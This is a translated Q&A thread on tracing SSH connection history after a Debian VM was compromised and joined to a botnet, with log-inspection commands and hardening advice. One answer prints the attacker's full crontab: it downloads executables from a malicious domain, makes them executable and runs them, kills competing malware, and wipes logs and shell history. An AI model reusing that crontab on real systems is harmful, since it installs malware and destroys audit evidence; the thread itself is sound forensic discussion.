通过 ssh 访问服务器的 IP 地址的历史记录

Dom*_*que 54 networking ssh logs ip forensics

我注意到我的一个服务器被黑客入侵并感染了一个已知的中国僵尸网络。

这是一个原型/测试虚拟机,有自己的静态 IP(美国地址),所以没有造成任何伤害(我花了一段时间才弄明白)。

现在我想知道入侵使用的是什么IP/s,以了解攻击是否来自中国。

有没有办法在服务器上的 ssh 上查看接收连接的历史记录?

编辑:系统是 Linux Debian 7

Bra*_*ley 56

查看last命令的输出,任何带有 IP 地址或主机名而不是空格的内容都会通过网络传入。如果这sshd是在此系统上执行此操作的唯一方法,那么您就可以了。

或者(如果这是 Linux),您可以检查/var/log/secure(在基于 RH 的发行版上)或/var/log/auth.log(在基于 Debian 的发行版上)sshd通常会跟踪建立的连接,即使它们没有导致成功登录(点击utmp/ wtmp,是什么last将从中读取)。例子:

Apr  3 16:21:01 xxxxxxvlp05 sshd[6266]: Connection closed by xxx.xxx.13.76
...
Apr  3 09:09:49 xxxxxxvlp05 sshd[26275]: Failed password for invalid user __super from xxx.xxx.13.76 port 45229 ssh2
Run Code Online (Sandbox Code Playgroud)

IIRC Solaris sshd(不一定是 OpenSSH 的sshd)会将此信息记录到/var/adm/messages

编辑:

@derobert 提出了一个很好的观点。重要的是要记住,在任何系统上,如果您的超级用户帐户被盗用,那么所有的赌注都将关闭,因为诸如/var/log/wtmp或 之类的日志文件/var/adm/messages可能会被攻击者修改。如果您将日志从服务器推送到安全位置,则可以缓解这种情况。

例如,在我曾经工作过的一家商店,我们有一台“Audit Vault”机器,该机器受到保护,只能从数据中心的各个服务器接收审计日志文件。我建议将来有类似的设置(因为“我有一台测试机”听起来像是在大型商店中操作)

  • 你的回答几乎涵盖了所有内容,所以我不想添加我自己的......但请添加一些类似“如果攻击者获得 root,那么在大多数配置中,盒子上的任何日志数据都不能真正信任的内容” ,作为 root 可以轻松编辑日志。” (7认同)
  • @derobert,我根据你的建议添加了一些细节:) (2认同)

Tor*_*gen 17

有没有办法在服务器上的 ssh 上查看接收连接的历史记录?

这应该给你一个列表:

$ zgrep sshd /var/log/auth.log* | grep rhost | sed -re 's/.*rhost=([^ ]+).*/\1/' | sort -u
Run Code Online (Sandbox Code Playgroud)

然后您可以使用geoiplookupfromgeoip-bin包从主机名或 IP 地址转到国家/地区。

  • @Eduard Florinescu 抱歉,我的“sed”技能不是神。要执行更复杂的操作,请使用 Python 或专用日志解析器。但是你可以试试这个:`zgrep sshd /var/log/auth.log* -h |grep -F 'Failed password'` (4认同)

小智 7

要仅查看使用密码的成功登录尝试:

zgrep sshd /var/log/auth.log* -h |grep -F 'Accepted'
Run Code Online (Sandbox Code Playgroud)

  • `zgrep sshd /var/log/auth.log* -h |grep -F 'Accepted'` 涵盖“接受的密码”和“接受的公钥” (2认同)

Dom*_*que 6

好吧,正如预期的那样,正如@Joel Davis 所说,所有日志都被擦除了,但是@Ramesh 提到有一个文件尝试访问 root 用户,但几次未能输入正确的密码,然后断开连接重试次数过多。

我在三个地址上运行了 traceroute,两个来自中国,另一个来自巴基斯坦;这些是IP:

221.120.224.179
116.10.191.218
61.174.51.221
Run Code Online (Sandbox Code Playgroud)

有关被入侵后注入服务器的僵尸网络的更多信息:

黑客编辑 crontab 来执行 7 个可执行文件,这些可执行文件每 x 时间用完所有 CPU,最大化服务器网络输出,然后就死了。此外,他们将自述文件添加到 crontab 100 次以隐藏添加的行,因此当您这样做时,crontab -l您将被带有隐藏行的自述文件发送垃圾邮件。为了规避这一点,我使用crontab -l | grep -v '^#'了该命令的输出:

*/1 * * * * killall -9 .IptabLes
*/1 * * * * killall -9 nfsd4
*/1 * * * * killall -9 profild.key
*/1 * * * * killall -9 nfsd
*/1 * * * * killall -9 DDosl
*/1 * * * * killall -9 lengchao32
*/1 * * * * killall -9 b26
*/1 * * * * killall -9 codelove
*/1 * * * * killall -9 32
*/1 * * * * killall -9 64
*/1 * * * * killall -9 new6
*/1 * * * * killall -9 new4
*/1 * * * * killall -9 node24
*/1 * * * * killall -9 freeBSD
*/99 * * * * killall -9 kysapd
*/98 * * * * killall -9 atdd
*/97 * * * * killall -9 kysapd
*/96 * * * * killall -9 skysapd
*/95 * * * * killall -9 xfsdx
*/94 * * * * killall -9 ksapd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/atdd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/cupsdd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/kysapd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/sksapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/skysapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/xfsdx
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/ksapd
*/120 * * * * cd /root;rm -rf dir nohup.out
*/360 * * * * cd /etc;rm -rf dir atdd
*/360 * * * * cd /etc;rm -rf dir ksapd
*/360 * * * * cd /etc;rm -rf dir kysapd
*/360 * * * * cd /etc;rm -rf dir skysapd
*/360 * * * * cd /etc;rm -rf dir sksapd
*/360 * * * * cd /etc;rm -rf dir xfsdx
*/1 * * * * cd /etc;rm -rf dir cupsdd.*
*/1 * * * * cd /etc;rm -rf dir atdd.*
*/1 * * * * cd /etc;rm -rf dir ksapd.*
*/1 * * * * cd /etc;rm -rf dir kysapd.*
*/1 * * * * cd /etc;rm -rf dir skysapd.*
*/1 * * * * cd /etc;rm -rf dir sksapd.*
*/1 * * * * cd /etc;rm -rf dir xfsdx.*
*/1 * * * * chmod 7777 /etc/atdd
*/1 * * * * chmod 7777 /etc/cupsdd
*/1 * * * * chmod 7777 /etc/ksapd
*/1 * * * * chmod 7777 /etc/kysapd
*/1 * * * * chmod 7777 /etc/skysapd
*/1 * * * * chmod 7777 /etc/sksapd
*/1 * * * * chmod 7777 /etc/xfsdx
*/99 * * * * nohup /etc/cupsdd > /dev/null 2>&1&
*/100 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/99 * * * * nohup /etc/atdd > /dev/null 2>&1&
*/98 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/97 * * * * nohup /etc/skysapd > /dev/null 2>&1&
*/96 * * * * nohup /etc/xfsdx > /dev/null 2>&1&
*/95 * * * * nohup /etc/ksapd > /dev/null 2>&1&
*/1 * * * * echo "unset MAILCHECK" >> /etc/profile
*/1 * * * * rm -rf /root/.bash_history
*/1 * * * * touch /root/.bash_history
*/1 * * * * history -r
*/1 * * * * cd /var/log > dmesg 
*/1 * * * * cd /var/log > auth.log 
*/1 * * * * cd /var/log > alternatives.log 
*/1 * * * * cd /var/log > boot.log 
*/1 * * * * cd /var/log > btmp 
*/1 * * * * cd /var/log > cron 
*/1 * * * * cd /var/log > cups 
*/1 * * * * cd /var/log > daemon.log 
*/1 * * * * cd /var/log > dpkg.log 
*/1 * * * * cd /var/log > faillog 
*/1 * * * * cd /var/log > kern.log 
*/1 * * * * cd /var/log > lastlog
*/1 * * * * cd /var/log > maillog 
*/1 * * * * cd /var/log > user.log 
*/1 * * * * cd /var/log > Xorg.x.log 
*/1 * * * * cd /var/log > anaconda.log 
*/1 * * * * cd /var/log > yum.log 
*/1 * * * * cd /var/log > secure
*/1 * * * * cd /var/log > wtmp
*/1 * * * * cd /var/log > utmp 
*/1 * * * * cd /var/log > messages
*/1 * * * * cd /var/log > spooler
*/1 * * * * cd /var/log > sudolog
*/1 * * * * cd /var/log > aculog
*/1 * * * * cd /var/log > access-log
*/1 * * * * cd /root > .bash_history
*/1 * * * * history -c
Run Code Online (Sandbox Code Playgroud)

如您所见,所有日志文件都已清除,这就是我无法检索到大量信息的原因。

它关闭了整个服务器(所有虚拟机),导致站点和 proxmox 超时。这是一个图表(尖峰表示僵尸网络主动进行 DDoS 攻击并注意到网络): 僵尸网络活动

因此,我会将整个中国 IP 地址范围添加到防火墙以阻止所有连接(我没有任何中国用户,所以我不在乎),我还将禁止远程 root 登录并使用 long complex密码。我也很可能会更改 ssh 端口并使用私有 ssh 密钥。

  • 这是非常可怕的东西 - 知道他们如何访问您的系统吗?它只是针对弱密码的暴力破解吗? (3认同)